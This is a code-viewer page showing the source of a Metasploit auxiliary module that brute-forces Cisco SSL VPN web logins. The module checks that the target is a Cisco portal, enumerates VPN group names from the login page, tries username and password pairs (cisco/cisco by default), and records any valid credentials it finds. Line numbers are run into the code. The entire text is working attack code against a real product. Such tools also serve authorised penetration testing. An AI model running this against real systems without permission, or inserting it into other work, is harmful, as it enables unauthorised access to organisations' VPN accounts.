Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4567class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::HttpClient9include Msf::Auxiliary::Report10include Msf::Auxiliary::AuthBrute11include Msf::Auxiliary::Scanner1213def initialize(info={})14super(update_info(info,15'Name' => 'Cisco SSL VPN Bruteforce Login Utility',16'Description' => %{17This module scans for Cisco SSL VPN web login portals and18performs login brute force to identify valid credentials.19},20'Author' =>21[22'Jonathan Claudius <jclaudius[at]trustwave.com>'23],24'License' => MSF_LICENSE,25'DefaultOptions' =>26{27'SSL' => true,28'USERNAME' => 'cisco',29'PASSWORD' => 'cisco'30}31))3233register_options(34[35Opt::RPORT(443),36OptString.new('GROUP', [false, "A specific VPN group to use", ''])37])38register_advanced_options(39[40OptBool.new('EmptyGroup', [true, "Use an empty group with authentication requests", false])41])42end4344def run_host(ip)45unless check_conn?46vprint_error("Connection failed, Aborting...")47return false48end4950unless is_app_ssl_vpn?51vprint_error("Application does not appear to be Cisco SSL VPN. Module will not continue.")52return false53end5455vprint_good("Application appears to be Cisco SSL VPN. Module will continue.")5657groups = Set.new58if datastore['EmptyGroup'] == true59groups << ""60elsif datastore['GROUP'].empty?61vprint_status("Attempt to Enumerate VPN Groups...")62groups = enumerate_vpn_groups6364if groups.empty?65vprint_warning("Unable to enumerate groups")66vprint_warning("Using the default group: DefaultWEBVPNGroup")67groups << "DefaultWEBVPNGroup"68else69vprint_good("Enumerated VPN Groups: #{groups.to_a.join(", ")}")70end7172else73groups << datastore['GROUP']74end7576vprint_status("Starting login brute force...")77groups.each do |group|78each_user_pass do |user, pass|79do_login(user, pass, group)80end81end82end8384# Verify whether the connection is working or not85def check_conn?86begin87res = send_request_cgi('uri' => '/', 'method' => 'GET')88if res89vprint_good("Server is responsive...")90return true91end92rescue ::Rex::ConnectionRefused,93::Rex::HostUnreachable,94::Rex::ConnectionTimeout,95::Rex::ConnectionError,96::Errno::EPIPE97end98false99end100101def get_login_resource102send_request_cgi(103'uri' => '/+CSCOE+/logon.html',104'method' => 'GET',105'vars_get' => { 'fcadbadd' => "1" }106)107end108109def enumerate_vpn_groups110groups = Set.new111group_name_regex = /<select id="group_list" name="group_list" style="z-index:1(?:; float:left;)?" onchange="updateLogonForm\(this\.value,{(.*)}/112113res = get_login_resource114if res && match = res.body.match(group_name_regex)115group_string = match[1]116groups = group_string.scan(/'([\w\-0-9]+)'/).flatten.to_set117end118119groups120end121122# Verify whether we're working with SSL VPN or not123def is_app_ssl_vpn?124res = get_login_resource125res && res.code == 200 && res.body.match(/webvpnlogin/)126end127128def do_logout(cookie)129send_request_cgi(130'uri' => '/+webvpn+/webvpn_logout.html',131'method' => 'GET',132'cookie' => cookie133)134end135136def report_cred(opts)137service_data = {138address: opts[:ip],139port: opts[:port],140service_name: 'Cisco SSL VPN',141protocol: 'tcp',142workspace_id: myworkspace_id143}144145credential_data = {146origin_type: :service,147module_fullname: fullname,148username: opts[:user],149private_data: opts[:password],150private_type: :password151}.merge(service_data)152153login_data = {154last_attempted_at: DateTime.now,155core: create_credential(credential_data),156status: Metasploit::Model::Login::Status::SUCCESSFUL,157proof: opts[:proof]158}.merge(service_data)159160create_credential_login(login_data)161end162163# Brute-force the login page164def do_login(user, pass, group)165vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect} and group:#{group.inspect}")166167begin168cookie = "webvpn=; " +169"webvpnc=; " +170"webvpn_portal=; " +171"webvpnSharePoint=; " +172"webvpnlogin=1; " +173"webvpnLang=en;"174175post_params = {176'tgroup' => '',177'next' => '',178'tgcookieset' => '',179'username' => user,180'password' => pass,181'Login' => 'Logon'182}183184post_params['group_list'] = group unless group.empty?185186res = send_request_cgi(187'uri' => '/+webvpn+/index.html',188'method' => 'POST',189'ctype' => 'application/x-www-form-urlencoded',190'cookie' => cookie,191'vars_post' => post_params192)193194if res &&195res.code == 200 &&196res.body.match(/SSL VPN Service/) &&197res.body.match(/webvpn_logout/i)198199print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")200201do_logout(res.get_cookies)202203report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)204report_note(ip: rhost, type: 'cisco.cred.group', data: "User: #{user} / Group: #{group}")205return :next_user206207else208vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")209end210211rescue ::Rex::ConnectionRefused,212::Rex::HostUnreachable,213::Rex::ConnectionTimeout,214::Rex::ConnectionError,215::Errno::EPIPE216vprint_error("HTTP Connection Failed, Aborting")217return :abort218end219end220end221222223